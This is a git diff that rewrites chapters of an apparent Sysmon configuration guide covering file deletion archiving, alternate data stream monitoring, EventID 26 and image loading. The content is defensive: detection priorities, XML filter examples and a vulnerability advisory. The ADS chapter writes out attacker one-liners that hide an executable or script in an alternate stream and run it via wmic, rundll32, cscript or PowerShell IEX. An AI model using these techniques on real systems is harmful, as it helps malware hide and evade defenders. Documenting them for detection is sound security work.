Limitation**: Like all minifilter-based monitoring, if any security software with a lower altitude number (higher priority) blocks or modifies the file deletion, Sysmon may not observe or archive the file correctly. + +Archive Directory Configuration +-------------------------------- +The archive directory stores copies of deleted files, providing critical forensic evidence. Proper configuration is essential: -### Archive directory +**Setting the Archive Directory:** +* Specified in XML configuration: `folder_name` +* Or via registry: Set **FilterArchiveDirectory** value under the driver registry key parameters +* Default location if not specified: `C:\Sysmon\` -By default this folder is set to Sysmon if no folder is specified during installation and specified either in the configuration either in config file with the `````` setting in XML configurations file or via the registry by setting the registry key value **FilterArchiveDirectory** under the driver registry key paramaters. +**Version-Specific Behavior:** +* **Sysmon 11.0**: Requires `-a ` command-line parameter during install, otherwise uses default "Sysmon" folder even if XML specifies different name +* **Sysmon 11.1 and later**: The `-a` parameter was removed; archive directory must be specified in XML configuration or default is used -On version 11.0 of Sysmon if the folder is not created during install using the commandline **-a \** parameter Sysmon will use the default **Sysmon** folder name and create that one and not the one specified in the configuration. On version 11.1 of Sysmon the parameter was removed and it is now required to specify the folder in the XML configuration file or the default name will be used. - -This folder is protected by a SYSTEM ACL, to access it you can use psexec to spawn a shell to access it via ```PsExec.exe -sid cmd```. +**Archive Directory Security:** +The archive directory is protected by SYSTEM ACL to prevent tampering: ``` PS C:\> (Get-Acl C:\Sysmon\).access - FileSystemRights : FullControl AccessControlType : Allow IdentityReference : NT AUTHORITY\SYSTEM @@ -34,56 +96,189 @@ InheritanceFlags : None PropagationFlags : None ``` -### Event information +To access archived files, use PsExec to spawn a SYSTEM-level shell: +``` +PsExec.exe -sid cmd +``` -The file delete event fields are: +**Archive Directory Management:** +* Monitor disk space consumption +* Implement retention policies (delete old archived files) +* Consider separate volume for archive directory on high-activity systems +* Regularly review archived files for malware and tools +* Hash archived executables and submit to threat intelligence platforms -* **RuleName**: Name of rule that triggered the event +What to Investigate +-------------------- -* **UtcTime**: Time in UTC when event was created +When reviewing file deletion events, prioritize investigation of: -* **ProcessGuid**: Process Guid of the process that deletec the file +**1. High Volume of Deletions (Ransomware Indicator)** +* Many files deleted from user directories within minutes +* Deletions spanning multiple file types and folders +* Particularly suspicious: `.doc`, `.xls`, `.pdf`, database files +* Cross-reference with file creation events for encrypted file extensions (`.encrypted`, `.locked`, `.crypto`) -* **ProcessId**: Process ID used by the OS to identify the process that deleted the file (child) +**2. Suspicious File Types Deleted** +* Executables (`.exe`, `.dll`) from temp directories or downloads +* PowerShell scripts (`.ps1`, `.psm1`) anywhere +* Batch files (`.bat`, `.cmd`) +* VBScript/JavaScript (`.vbs`, `.js`, `.jse`) +* Macro-enabled Office files (`.docm`, `.xlsm`, `.pptm`) -* **Image**: File path of the process that deleted the file +**3. Deletions from Suspicious Locations** +* `\Downloads\` - Tools downloaded and then deleted +* `\AppData\Local\Temp\` - Droppers deleting themselves +* `\AppData\Roaming\` - Persistence mechanisms removing artifacts +* `\Content.Outlook\` - Email attachments deleted after execution +* `\Windows\Temp\` - System-level temp file deletions (especially by non-system processes) + +**4. Backup and Shadow Copy Deletions** +* Volume shadow copy deletions (attackers disabling recovery) +* Database backup file deletions (`.bak`, `.backup`) +* System state backups +* Usually performed via `vssadmin.exe` or `wmic.exe` (check Process Creation events) + +**5. Deletions by Suspicious Processes** +* PowerShell, CMD, or scripting engines deleting files +* Processes from temp or download directories +* Recently created processes (staging malware) +* Office applications deleting executable files (macro-based attack cleanup) + +**6. Timing Patterns** +* Deletions immediately after file creation (dropper behavior) +* Deletions during off-hours +* Deletions correlating with other suspicious activity (lateral movement, credential access) + +Event Fields +------------ + +The file delete event fields are: +* **RuleName**: Name of rule that triggered the event +* **UtcTime**: Time in UTC when event was created +* **ProcessGuid**: Process GUID of the process that deleted the file +* **ProcessId**: Process ID used by the OS to identify the process that deleted the file +* **Image**: File path of the process that deleted the file * **TargetFilename**: Name of the file that was deleted +* **Hashes**: Full hash of the file with the algorithms in the HashType field. This is also the filename of the archived file in the ArchiveDirectory +* **Archived**: States whether the archival action was successful (`true` or `false`) -**Hashes**: Full hash of the file with the algorithms in the HashType field. This is also the filename of the saved file in the ArchiveDirectory +Configuration Examples +----------------------- -* **Archived**: States whether the archival action was succesful +**Example 1: Monitor High-Value File Types in Suspicious Locations** -Example monitoring for script file creation by extension: +This configuration focuses on executables, scripts, and office files in locations commonly used by attackers: -```XML +```xml -SysmonIsAwesome + SysmonArchive - - - \Downloads\ - \Content.Outlook\ - \AppData\Local\Temp\ - \AppData\Local\Microsoft\ - C:\Windows\Temp + + + + + \Downloads\ + \Content.Outlook\ + \AppData\Local\Temp\ + \AppData\Roaming\ + C:\Windows\Temp\ + + + .exe;.dll;.ps1;.bat;.cmd;.vbs;.js;.jse;.hta;.msi + + + + +``` - - .exe;.ps1;.js;.xls;.xlsm;.docm - +**Example 2: Ransomware Detection - Monitor User Document Deletions** + +This configuration detects mass deletion of user files, a primary ransomware indicator: + +```xml + + SysmonArchive + + + + + + \Users\;\Documents\;\Desktop\;\Pictures\ + + .doc;.docx;.xls;.xlsx;.ppt;.pptx;.pdf;.txt;.jpg;.png;.zip + + + + + +``` + +**Example 3: Anti-Forensics Detection - Scripts and Tools** + +Focus on deletions that suggest cleanup activity: + +```xml + + SysmonArchive + + + + + .ps1 + .bat + .cmd + .vbs + .js + + + + .exe + C:\Program Files + C:\Windows\ + + ``` -### Warning +**Example 4: Comprehensive Approach with Exclusions** + +Start broader and exclude known-good deletion patterns: + +```xml + + SysmonArchive + + + + + \AppData\Local\Microsoft\Windows\Temporary Internet Files\ + \AppData\Local\Google\Chrome\User Data\Default\Cache\ + \AppData\Local\Mozilla\Firefox\Profiles\ + + + C:\Windows\System32\usocoreworker.exe + C:\Windows\System32\svchost.exe -A code execution vulnerability exits on Sysmon 11.0, 11.1 and 12.0 where an attacker that has local administrative privileges can leverage a bug in the way that Sysmon handles File Delete events in its memory allows for arbitrary kernel write where an attacker can write executacle code and run it with kernel level privileges. + + .tmp;.log;.etl;.old + + + + +``` -SHA1 hashes for vulnerables version of the drivers are: +Important Security Advisory +---------------------------- +**Critical Vulnerability in Sysmon 11.0, 11.1, and 12.0**: A code execution vulnerability exists in these versions where an attacker with local administrative privileges can leverage a bug in how Sysmon handles File Delete events in memory. This allows arbitrary kernel writes where attackers can execute code with kernel-level privileges. + +**Vulnerable Driver SHA256 Hashes:** * 35c67ac6cb0ade768ccf11999b9aaf016ab9ae92fb51865d73ec1f7907709dca * d2ed01cce3e7502b1dd8be35abf95e6e8613c5733ee66e749b972542495743b8 * a86e063ac5214ebb7e691506a9f877d12b7958e071ecbae0f0723ae24e273a73 @@ -92,4 +287,14 @@ SHA1 hashes for vulnerables version of the drivers are: * 98660006f0e923030c5c5c8187ad2fe1500f59d32fa4d3286da50709271d0d7f * 7e1d7cfe0bdf5f17def755ae668c780dedb027164788b4bb246613e716688840 -Using a SIEM one can monitor for this hashes using Sysmon Event ID 6 for driver loads. Also access to the sysmon service executable should be monitor for SourceImage and GrantedAccess masks not seen before. +**Mitigation**: Update to Sysmon 13.0 or later immediately. Monitor for these driver hashes using EventID 6 (Driver Load) events and alert on any attempts to load vulnerable versions. + +Relationship to EventID 26 +--------------------------- + +Sysmon also provides **EventID 26 (File Delete Detected)** which logs file deletions **without archiving** the deleted files. Use EventID 26 instead of EventID 23 when: +* Deletion volume is very high and archiving would consume too much disk space +* File types are large (ISO images, archives) making archiving impractical +* You want to log deletions for detection but don't need file recovery capability + +See the File Delete Detected chapter for EventID 26 configuration guidance. diff --git a/chapters/file-stream-creation-hash.md b/chapters/file-stream-creation-hash.md index cd25059..f4e2d7e 100644 --- a/chapters/file-stream-creation-hash.md +++ b/chapters/file-stream-creation-hash.md @@ -1,94 +1,409 @@ File Stream Creation Hash ========================= -Sysmon will log **EventID 15** for the creation of Alternate Data Streams (ADS). This is an old technique where many vendors already monitor for the creation of ADS on files where the alternate stream is a PE executable. Attackers have changed to use alternate streams to hide information and to store other payloads that are not PE executables (DLL, Scripts). Sysmon will also capture the contents of text streams if they are less 1KB for the purpose of capturing Mark Of The Web (MOTW) streams. +Sysmon will log **EventID 15** for the creation of Alternate Data Streams (ADS) on NTFS filesystems. This is a **moderate-volume event type** that detects both malicious use of ADS for hiding payloads and provides valuable forensic information through Mark of the Web (MOTW) tracking. Alternate Data Streams are a powerful but often overlooked detection opportunity. + +Detection Value and Why It Matters +----------------------------------- + +Alternate Data Streams provide unique detection and forensic capabilities: + +**Malicious Payload Hiding**: Attackers use ADS to hide malicious content: +* Executables hidden in alternate streams (not visible in directory listings) +* Scripts (PowerShell, VBScript, JScript) stored in ADS for execution +* Malware components and configuration files hidden from casual inspection +* Tools and utilities concealed on compromised systems + +**Mark of the Web (MOTW) Forensics**: Windows Internet Explorer and other browsers create a `Zone.Identifier` ADS on downloaded files containing: +* **ZoneId**: Security zone of download (Internet, Intranet, Trusted, etc.) +* **ReferrerUrl**: The URL that linked to the download +* **HostUrl**: The URL the file was downloaded from + +This data is **critical forensic evidence** for tracking: +* How malware was delivered (phishing email, malicious website) +* The origin of attacker tools and payloads +* User downloads during compromise investigations +* Attribution and infrastructure mapping + +**Defense Evasion**: ADS allows attackers to: +* Bypass file extension filters (store .exe in ADS of .txt file) +* Hide from antivirus scans that don't inspect ADS +* Evade file integrity monitoring on the main data stream +* Conceal backdoors and persistence mechanisms + +**MITRE ATT&CK Mapping**: +* **T1564.004 - Hide Artifacts: NTFS File Attributes** - Primary ADS abuse technique +* **T1027 - Obfuscated Files or Information** - Hiding via ADS +* **T1140 - Deobfuscate/Decode Files or Information** - Extracting from ADS + +Understanding NTFS Alternate Data Streams +------------------------------------------ + +Each NTFS file record contains multiple attributes that define different aspects of the file: +* **$STANDARD_INFORMATION** - Timestamps and attributes +* **$FILE_NAME** - File name +* **$DATA** - File content (can have multiple streams) +* **$INDEX_ROOT**, **$BITMAP**, **$INDEX_ALLOCATION** - Directory structures +* **$ATTRIBUTE_LIST** - List of all attributes + +**Alternate Data Streams** are implemented by having multiple $DATA attributes: +* **Default stream**: Unnamed stream (the normal file content) +* **Alternate streams**: Named streams (additional hidden content) + +**Example**: A file `document.txt` can have: +* Default stream: `document.txt` (visible content) +* Named stream: `document.txt:hidden.exe` (hidden executable) +* MOTW stream: `document.txt:Zone.Identifier` (download origin info) + +**Viewing ADS with PowerShell**: +```powershell +# File with default stream only +Get-Item file.txt -Stream * +# Output: :$DATA (unnamed default stream) + +# File with alternate streams +Get-Item downloaded.exe -Stream * +# Output: +# :$DATA (default stream) +# Zone.Identifier (MOTW stream) +# hidden (malicious ADS) +``` -Each record in NTFS on a drive is subdivided into a list of variable length attributes: +![stream1](./media/image41.png) -* \$STANDARD\_INFORMATION +File with a second named stream: -* \$FILE\_NAME +![stream2](./media/image42.png) -* \$DATA +How Attackers Use ADS +---------------------- -* \$INDEX\_ROOT +**Hiding Executables**: +```cmd +# Hide executable in ADS of text file +type malware.exe > innocent.txt:hidden.exe -* \$BITMAP +# Execute from ADS +wmic process call create "C:\innocent.txt:hidden.exe" +``` -* \$INDEX\_ALLOCATION +**Hiding Scripts**: +```powershell +# Store PowerShell script in ADS +Get-Content malicious.ps1 | Set-Content .\document.docx:payload.ps1 -Stream payload.ps1 -* \$ATTRIBUTE\_LIST +# Execute from ADS +powershell -Command "Get-Content .\document.docx:payload.ps1 -Stream payload.ps1 | IEX" +``` -Alternate Data Streams (ADS) are implemented by having multiple \$Data -attributes +**Execution Examples from ADS**: +* **Rundll32**: `rundll32.exe file.txt:malicious.dll,EntryPoint` +* **Cscript**: `cscript.exe file.txt:script.vbs` +* **PowerShell**: `powershell Get-Content file.txt:script.ps1 -Stream script.ps1 | IEX` -* The Default data stream is unnamed +More execution techniques: https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f (by Oddvar Moe) -* Alternate streams are named ones. +Mark of the Web (MOTW) - Forensic Gold +--------------------------------------- -Since streams that are part of the NTFS structure directories may have an AD, we can use PowerShell to look at a file with the single default unamend :\$DATA stream: +When files are downloaded using Windows APIs (`urlmon.dll`), a `Zone.Identifier` ADS is created with forensic metadata: -![stream1](./media/image41.png) +**Example MOTW Content**: +``` +[ZoneTransfer] +ZoneId=3 +ReferrerUrl=https://malicious-site.com/landing +HostUrl=https://malicious-site.com/payload.exe +``` -File with a second named stream: +**ZoneId Values**: +* 0 = Local computer +* 1 = Local intranet +* 2 = Trusted sites +* 3 = Internet +* 4 = Restricted sites -![stream2](./media/image42.png) +**Forensic Value**: +* Track phishing email links (ReferrerUrl shows email gateway URL) +* Identify malware download sites (HostUrl) +* Correlate with network logs for full attack chain +* Determine if file was locally created (no Zone.Identifier) or downloaded -Some execution examples: +**Important**: Attackers commonly delete Zone.Identifier streams to hide download origin. Detecting Zone.Identifier deletion is a strong indicator of anti-forensics activity. -* Execution Rundll32 example +![process](./media/image63.png) -* Cscript Example +Volume Characteristics +----------------------- -* PowerShell Example +ADS creation volume varies by environment: +* **Workstations with active browsing**: Moderate-to-high volume (100-500 events/day) +* **Servers**: Low volume outside of software downloads +* **Most events**: Zone.Identifier streams from browsers and email clients -More execution examples at - by -Oddvar Moe +**MOTW Generation Pattern**: Downloading a file typically generates **6 events** as `urlmon.dll` progressively writes the Zone.Identifier stream during download. This is normal and provides detailed forensic timeline. -In the case of downloads performed by browsers and email clients in Windows that leveragle the urlmon.dll for downloading files they have al indetifying stream added with information about the download including the URL and Refferer. This information can be used to track the origing of downloaded files by attackers with a console presense or via a phishing attack. +What to Investigate +-------------------- -We can use PowerShell Get-Item and Get-Content cmdlets to check is a Zone.Identifier stream exist and show its content. +When reviewing file stream creation events, prioritize investigation of: -![process](./media/image63.png) +**1. Non-MOTW Alternate Streams** +* Any stream name **other than** `Zone.Identifier` +* Streams with executable names (`.exe`, `.dll`, `.ps1`, `.bat`, `.vbs`) +* Streams created by suspicious processes +* **High priority** - These are almost always malicious or very unusual + +**2. Executable Content in ADS** +* Check the **Hash** field - if populated, the stream contains executable code +* Cross-reference hash with threat intelligence +* Any PE executable stored in ADS is highly suspicious + +**3. Script Files in ADS** +* PowerShell scripts (`.ps1`) +* VBScript, JScript files +* Batch files, command scripts +* These enable fileless execution techniques + +**4. Suspicious Processes Creating ADS** +* PowerShell, CMD creating non-MOTW streams +* Processes from temp directories +* Office applications (macros creating ADS) +* Unknown executables + +**5. MOTW Forensics (Download Tracking)** +* Review **TargetFilename** to identify what was downloaded +* Check **Content** field for Zone.Identifier data (HostUrl, ReferrerUrl) +* **ZoneId=3** (Internet) downloads of executables are high-priority +* Correlate with network logs using HostUrl +* Track user downloads during investigations +**6. Timing and Context** +* ADS creation shortly after file creation +* Multiple ADS creations in sequence (staging payloads) +* ADS creation during suspected compromise timeline +* Downloads from recently created or suspicious domains -The fields for the event: +Event Fields +------------ + +The file stream creation event fields are: * **RuleName**: Name of rule that triggered the event -* **UtcTime**: Time in UTC when event was created +* **UtcTime**: Time in UTC when stream was created * **ProcessGuid**: Process GUID of the process that created the named file stream -* **ProcessId**: Process ID used by the OS to identify the process that created the named file stream -* **Image**: File path of the process that created the named file stream -* **TargetFilename**: Name of the file -* **CreationUtcTime**: File download time -* **Hash**: Full hash of the file with the algorithms in the HashType field -* **Content**: Contents of text streams. +* **ProcessId**: Process ID of the process that created the stream +* **Image**: File path of the process that created the stream +* **TargetFilename**: Full path of the file (including stream name after `:`) +* **CreationUtcTime**: File creation time (not stream creation time) +* **Hash**: Full hash of the stream contents (if stream contains executable code) +* **Contents**: For text streams <1KB, the actual stream contents are logged (MOTW data) +**Critical Field**: **Contents** field captures Zone.Identifier data, providing HostUrl and ReferrerUrl for forensic tracking. -The number of processes that create alternate streams should be low and easily excluded. Mail clients and browsers are the main generators of this event in normal operation to set the Zone attribute; Because of this, a maintenance process is recommended when leveraging these filters. +Configuration Examples +----------------------- -![process](./media/image43.png) +**Example 1: Exclusion-Based (Recommended for Workstations)** -Since urlmon.dll sets different parts of the stream as the file is downloaded we see normally a total of 6 events as the data is added to the file. This provides important forensic information to track files that an attacker may have delived and correlated with other networks logs. +Log all ADS creation but exclude browsers and email clients creating MOTW streams: -Example: Exclude common processes that create alternate data streams. +```xml + + + + + + C:\Program Files\Google\Chrome\Application\chrome.exe + C:\Program Files (x86)\Google\Chrome\Application\chrome.exe + C:\Program Files\Mozilla Firefox\firefox.exe + C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + + + C:\Windows\System32\browser_broker.exe + + + C:\Program Files\Internet Explorer\iexplore.exe + C:\Program Files (x86)\Internet Explorer\iexplore.exe + + + OUTLOOK.EXE + + + + +``` + +**Example 2: Detect Only Malicious ADS (Not MOTW)** + +Focus on non-Zone.Identifier streams which are almost always malicious: ```xml - - - - C:\Program Files (x86)\Google\Chrome\Application\chrome.exe - - C:\Windows\system32\browser_broker.exe - - C:\Program Files\Internet Explorer\iexplore.exe - - OUTLOOK.EXE - - - + + + + :Zone.Identifier + + + ``` + +This configuration captures **only suspicious ADS creation**, not normal download tracking. + +**Example 3: Monitor Executable Downloads (Forensic Tracking)** + +Capture MOTW for executable files while excluding other downloads: + +```xml + + + + + + + :Zone.Identifier + + .exe: + .dll: + .ps1: + .bat: + .vbs: + .js: + .hta: + .msi: + + + + + + +``` + +**Example 4: Comprehensive - Detect Malicious ADS + Track Executable Downloads** + +Best of both worlds - catch ADS abuse and track executable downloads: + +```xml + + + + + + : + + + + + + + + :Zone.Identifier + .exe: + .dll: + .ps1: + .bat: + .vbs: + .msi: + + + + chrome.exe + firefox.exe + msedge.exe + + + + +``` + +Investigation Workflow +----------------------- + +**For Non-MOTW ADS (Malicious)**: +1. **Extract the stream**: Identify the file and stream name from TargetFilename +2. **Analyze the content**: + ```powershell + Get-Content "C:\path\to\file.txt" -Stream "streamname" + ``` +3. **Check for executable content**: If Hash field is populated, extract and analyze the PE +4. **Identify the creator**: Check Image field - what process created the ADS? +5. **Timeline correlation**: What else was happening when the ADS was created? + +**For MOTW Streams (Forensics)**: +1. **Review Contents field**: Extract HostUrl and ReferrerUrl +2. **Check ZoneId**: Was it downloaded from Internet (3) or other zone? +3. **Identify the file**: What was downloaded? (TargetFilename) +4. **Correlate with network logs**: Search for HostUrl in proxy/firewall logs +5. **Check file hash**: Was the downloaded file malicious? +6. **Attribution**: Map HostUrl to known threat infrastructure + +Detecting ADS Abuse Patterns +----------------------------- + +**Pattern 1: Hiding Executables** +* TargetFilename contains `:` but doesn't end with `:Zone.Identifier` +* Hash field is populated (executable content) +* Image is PowerShell, CMD, or unknown process + +**Pattern 2: Script Hiding** +* Stream names ending in `.ps1`, `.vbs`, `.js`, `.bat` +* Created by Office applications (macro-based) +* Created by scripting engines + +**Pattern 3: Anti-Forensics** +* Zone.Identifier deletion (look for File Delete events with `:Zone.Identifier`) +* MOTW stream removed from recently downloaded executables +* Attacker cleaning tracks + +**Pattern 4: Malware Delivery** +* MOTW showing download from newly registered domain +* Executable downloaded from suspicious TLD (.tk, .pw, etc.) +* ReferrerUrl from known malicious sites + +Evasion and Limitations +------------------------ + +**Attacker Evasions**: +* Some attackers avoid ADS entirely, knowing it's monitored +* Can delete Zone.Identifier to hide download origin +* May use non-standard download methods that don't create MOTW +* Can use volume shadow copies to hide ADS from live analysis + +**Sysmon Limitations**: +* Only logs stream creation, not stream deletion (use File Delete events) +* Does not log stream access or execution +* MOTW only created by specific download methods (urlmon.dll-based) +* Some download tools don't create Zone.Identifier + +**MOTW Bypasses**: +* Downloads via curl, wget, or other non-urlmon.dll tools don't create MOTW +* File transfers over RDP, SMB shares don't create MOTW +* Archive extraction doesn't preserve MOTW on contained files + +Best Practices +--------------- + +1. **Prioritize Non-MOTW ADS**: These are rare and high-value indicators +2. **Track Executable Downloads**: MOTW on .exe, .dll, .ps1 files provides forensic value +3. **Baseline Your Environment**: Understand normal ADS creation patterns +4. **Correlate with Network Logs**: Use HostUrl/ReferrerUrl to enrich detections +5. **Monitor for MOTW Deletion**: Cross-reference with File Delete events +6. **Maintain Exclusion Lists**: Update browser/email client exclusions as software updates + +Summary +------- + +File stream creation monitoring (EventID 15) provides dual value: +* **Detection**: Catches attackers hiding payloads in Alternate Data Streams +* **Forensics**: Tracks file download origins through Mark of the Web + +The moderate volume and high detection value make ADS monitoring essential for: +* Detecting fileless malware techniques +* Tracking malware delivery mechanisms +* Incident response and attribution +* Understanding attacker infrastructure + +When configured to exclude legitimate MOTW generation while capturing suspicious ADS creation, this event type delivers high-fidelity detections with strong forensic context. diff --git a/chapters/file_delete_detected.md b/chapters/file_delete_detected.md index 7a8166b..fc1f99f 100644 --- a/chapters/file_delete_detected.md +++ b/chapters/file_delete_detected.md @@ -1,30 +1,229 @@ File Delete Detected ==================== -On version 13.10 of Sysmon added the capability to log file deletions without archiving the deleted file, the event is identical to **EventID 23** File Delete, for filtering the same fields are used. The File Delete Detected uses **EventID 26**. +Sysmon will log **EventID 26** for file deletions **without archiving** the deleted files. This event type was added in Sysmon version 13.10 and provides the same detection visibility as EventID 23 (File Delete) but without the storage overhead of file archiving. This is ideal for high-volume deletion monitoring where file recovery isn't necessary or where deleted file sizes make archiving impractical. -It leverages the Sysmon minidriver and we should considered it altitude number when other security products are present. +Detection Value and Use Cases +------------------------------ + +EventID 26 provides the same detection value as EventID 23 (File Delete with Archiving): +* Ransomware detection through mass file deletion patterns +* Wiper malware and data destruction attacks +* Anti-forensics activity (attackers deleting tools and artifacts) +* Backup and shadow copy deletion monitoring + +The key difference is operational rather than detection-focused: **no files are archived**, which means: +* Significantly reduced disk space consumption +* Suitable for very high-volume deletion monitoring +* No file recovery capability +* Useful for detection-only scenarios where you don't need to analyze deleted files + +When to Use EventID 26 vs EventID 23 +------------------------------------- + +Use **EventID 26 (File Delete Detected, no archiving)** when: +* **High deletion volume**: Environments where archiving would generate gigabytes of data daily +* **Large file types**: Monitoring deletions of ISO images, archive files, or other large files that would fill the archive directory quickly +* **Detection-only goals**: You want to detect deletion patterns (ransomware, cleanup activity) but don't need to recover or analyze the deleted files +* **Storage constraints**: Limited disk space makes archiving impractical +* **Known false positives**: You've identified high-value deletion patterns that generate many false positives, but you still want detection visibility + +Use **EventID 23 (File Delete with Archiving)** when: +* **Malware recovery**: You need to capture and analyze attacker tools and scripts that are deleted after execution +* **Forensic evidence**: File recovery capability is critical for incident response +* **Low volume**: Deletion volume is manageable and won't overwhelm storage +* **High-value targets**: Monitoring specific file types (executables, scripts) where file recovery is valuable + +**Best Practice**: Use both event types together: +* EventID 23 for high-value, low-volume deletions (executables and scripts in suspicious locations) +* EventID 26 for broader coverage where archiving isn't needed (user documents for ransomware detection, large files) + +How It Works +------------ + +EventID 26 uses the same minifilter driver mechanism as EventID 23. The minifilter monitors for file system I/O request packets (IRP): +* **IRP_MJ_CREATE** - File creation +* **IRP_MJ_CLEANUP** - Handle closure +* **IRP_MJ_WRITE** - File writes + +When a file is marked for deletion, Sysmon logs the event but **skips the archival step**, making it much more performant for high-volume scenarios. ![minifilter](./media/image36.png) -The minidriver monitors for three I/O request packets (IRP) IRP_MJ_CREATE, IRP_MJ_CLEANUP, and IRP_MJ_WRITE for file creates, complete handle closes, and writes respectively. +**Important Limitation**: Like EventID 23, if any security software with a lower altitude number (higher priority in the driver stack) blocks or modifies the file deletion before Sysmon observes it, the event may not be logged. -### Event information +Event Fields +------------ -The file delete event fields are: +The file delete detected event fields are: * **RuleName**: Name of rule that triggered the event - * **UtcTime**: Time in UTC when event was created +* **ProcessGuid**: Process GUID of the process that deleted the file +* **ProcessId**: Process ID used by the OS to identify the process that deleted the file +* **Image**: File path of the process that deleted the file +* **TargetFilename**: Name of the file that was deleted +* **Hashes**: Full hash of the file with the algorithms in the HashType field (same as EventID 23, but file is not saved to archive) -* **ProcessGuid**: Process Guid of the process that deleted the file +Note that the **Archived** field is not present in EventID 26, as no archiving occurs. -* **ProcessId**: Process ID used by the OS to identify the process that deleted the file (child) +What to Investigate +-------------------- -* **Image**: File path of the process that deleted the file +Investigation priorities are identical to EventID 23 (File Delete): -* **TargetFilename**: Name of the file that was deleted +**1. High Volume of Deletions (Ransomware)** +* Many files deleted rapidly from user directories +* Deletions spanning multiple folders and file types +* Document file deletions (`.doc`, `.xls`, `.pdf`, etc.) + +**2. Suspicious File Types Deleted** +* Executables, scripts, Office macros in any location +* Tools and utilities from temp directories + +**3. Deletions from Suspicious Locations** +* Downloads, temp directories, user AppData folders +* Email attachment temporary storage + +**4. Backup and Recovery Inhibition** +* Shadow copy deletions, backup file deletions +* Usually correlates with `vssadmin.exe` or `wmic.exe` process activity + +**5. Deletions by Suspicious Processes** +* PowerShell, CMD, scripting engines +* Recently created or unsigned processes +* Office applications deleting executables + +**6. Timing and Correlation** +* Deletions immediately after file creation +* Deletions during off-hours +* Correlation with other suspicious events + +Configuration Examples +----------------------- + +**Example 1: Ransomware Detection with EventID 26 (No Archiving)** + +Monitor user document deletions without archiving to avoid storage overhead: + +```xml + + + + + + + \Users\;\Documents\;\Desktop\;\Pictures\;\Downloads\ + + .doc;.docx;.xls;.xlsx;.ppt;.pptx;.pdf;.txt;.jpg;.png;.gif;.mp4;.avi + + + + + +``` + +**Example 2: Combined Approach - Use Both EventID 23 and 26** + +Use EventID 23 for executables/scripts (archive for forensics) and EventID 26 for documents (detection only): + +```xml + + SysmonArchive + + + + + .exe;.dll;.ps1;.bat;.cmd;.vbs;.js;.hta + + + + + + \Users\ + .doc;.docx;.xls;.xlsx;.pdf;.zip;.rar + + + + + +``` + +**Example 3: Large File Deletion Monitoring (ISO, IMG, Archive Files)** + +Monitor deletion of large files that would be impractical to archive: + +```xml + + + + + + .iso;.img;.vhd;.vhdx;.vmdk;.ova + + + .zip;.rar;.7z;.tar;.gz + + + + +``` + +**Example 4: Exclusion-Based Approach for Broad Coverage** + +Log most deletions but exclude known noisy patterns: + +```xml + + + + + + \AppData\Local\Microsoft\Windows\Temporary Internet Files\ + \AppData\Local\Google\Chrome\User Data\Default\Cache\ + \AppData\Local\Mozilla\Firefox\Profiles\ + + + .tmp;.temp;.log;.etl;.bak~;.old + + + C:\Windows\System32\usocoreworker.exe + C:\Windows\System32\dism.exe + + + + +``` + +Performance and Storage Considerations +--------------------------------------- + +EventID 26 is specifically designed for scenarios where EventID 23's archiving would create operational challenges: + +**Storage Savings:** +* No archive directory needed for EventID 26 monitoring +* Typical ransomware attack deleting 10,000 files: EventID 23 might archive 500MB-5GB, EventID 26 generates only log events (~2MB of event data) +* Large file deletions (ISOs, backups): Can save hundreds of gigabytes + +**Performance:** +* EventID 26 has minimal performance overhead (just logging) +* EventID 23 requires file copy operations which can impact system performance during mass deletions +* On systems with high deletion rates, EventID 26 may be the only practical option + +**Best Practice Strategy:** +1. Start with targeted EventID 23 rules for high-value, low-volume file types (executables, scripts) +2. Add broader EventID 26 rules for detection patterns (user documents, large files) +3. Monitor archive directory size if using EventID 23 +4. Shift rules from EventID 23 to EventID 26 if archiving becomes impractical + +MITRE ATT&CK Mapping +-------------------- -**Hashes**: Full hash of the file with the algorithms in the HashType field. This is also the filename of the saved file in the ArchiveDirectory +EventID 26 helps detect the same techniques as EventID 23: +* **T1485 - Data Destruction** - Wiper malware and destructive attacks +* **T1486 - Data Encrypted for Impact** - Ransomware encryption +* **T1488 - Disk Structure Wipe** - Destructive wiping attacks +* **T1070.004 - Indicator Removal on Host: File Deletion** - Anti-forensics +* **T1490 - Inhibit System Recovery** - Deleting backups and shadow copies -This event type is recommended for those cases where there is a large number of false positive for a given rule but still it is of value to log the action or the rule has false positives for files that could be of great size like archive file or image files like ISO, IMG and others. +The difference is operational (archiving vs no archiving) rather than detection capability. diff --git a/chapters/image-loading.md b/chapters/image-loading.md index 7500b64..0798878 100644 --- a/chapters/image-loading.md +++ b/chapters/image-loading.md @@ -1,11 +1,65 @@ Image Loading ============= -Sysmon will log **EventID 7** for the loading of images (Components like -DLL, OCX..) by a given process. This filter can cause high CPU usage if -filtering is to open on desktop or terminal systems with lots of process -starting and stopping, because of this event is best targeted by -monitoring for specific libraries or combinations used by attackers. +Sysmon will log **EventID 7** for the loading of images (DLLs, OCX files, and other executable modules) by processes. This is one of the highest-volume event types Sysmon can generate and requires extremely careful configuration. If not properly filtered, image loading can produce millions of events per day and significantly impact system performance. + +Understanding the Volume Challenge +----------------------------------- + +Every time any process loads a library or module, an image load event is generated. Windows processes routinely load dozens or even hundreds of DLLs during normal operation: +* A web browser loading a single webpage might load 50+ DLLs +* Starting Microsoft Office loads hundreds of DLLs +* Windows services continuously load and unload modules +* Security software, frameworks (.NET, Java), and system utilities all load numerous libraries + +This makes image loading fundamentally different from other event types. **You cannot use an exclusion-based approach.** Logging all image loads and filtering out noise is not feasible - the volume is simply too high. Instead, image loading requires a **strictly targeted include approach** where you only monitor for specific suspicious DLLs or specific combinations of processes and libraries. + +Detection Value and Use Cases +------------------------------ + +Despite the volume challenges, image loading provides critical visibility into sophisticated attack techniques: + +**DLL Injection and Process Injection**: Attackers inject malicious code into legitimate processes by loading DLLs into the target process's memory space. Image load events can detect: +* Unsigned or suspicious DLLs loaded into sensitive processes +* DLLs loaded from unusual paths (temp directories, user folders) +* Known malicious DLLs identified by hash + +**Reflective DLL Loading**: Attackers load DLLs directly into memory without touching disk. While harder to detect, monitoring for the loading of uncommon system DLLs can provide indicators. + +**Script Engine Abuse**: Many attacks use Windows scripting engines to execute malicious code. Monitoring for the loading of scripting DLLs helps detect: +* PowerShell engine DLLs loaded by non-PowerShell processes +* VBScript or JScript engine DLLs loaded by Office applications (malicious macros) +* Windows Script Host components loaded by unexpected processes + +**COM Object Abuse**: Attackers use COM objects and ActiveX controls for execution. Monitoring specific OCX and COM DLLs can detect techniques like: +* Regsvr32 loading scrobj.dll (Squiblydoo technique) +* MSHTA loading JavaScript engines to bypass AMSI + +**Living Off the Land 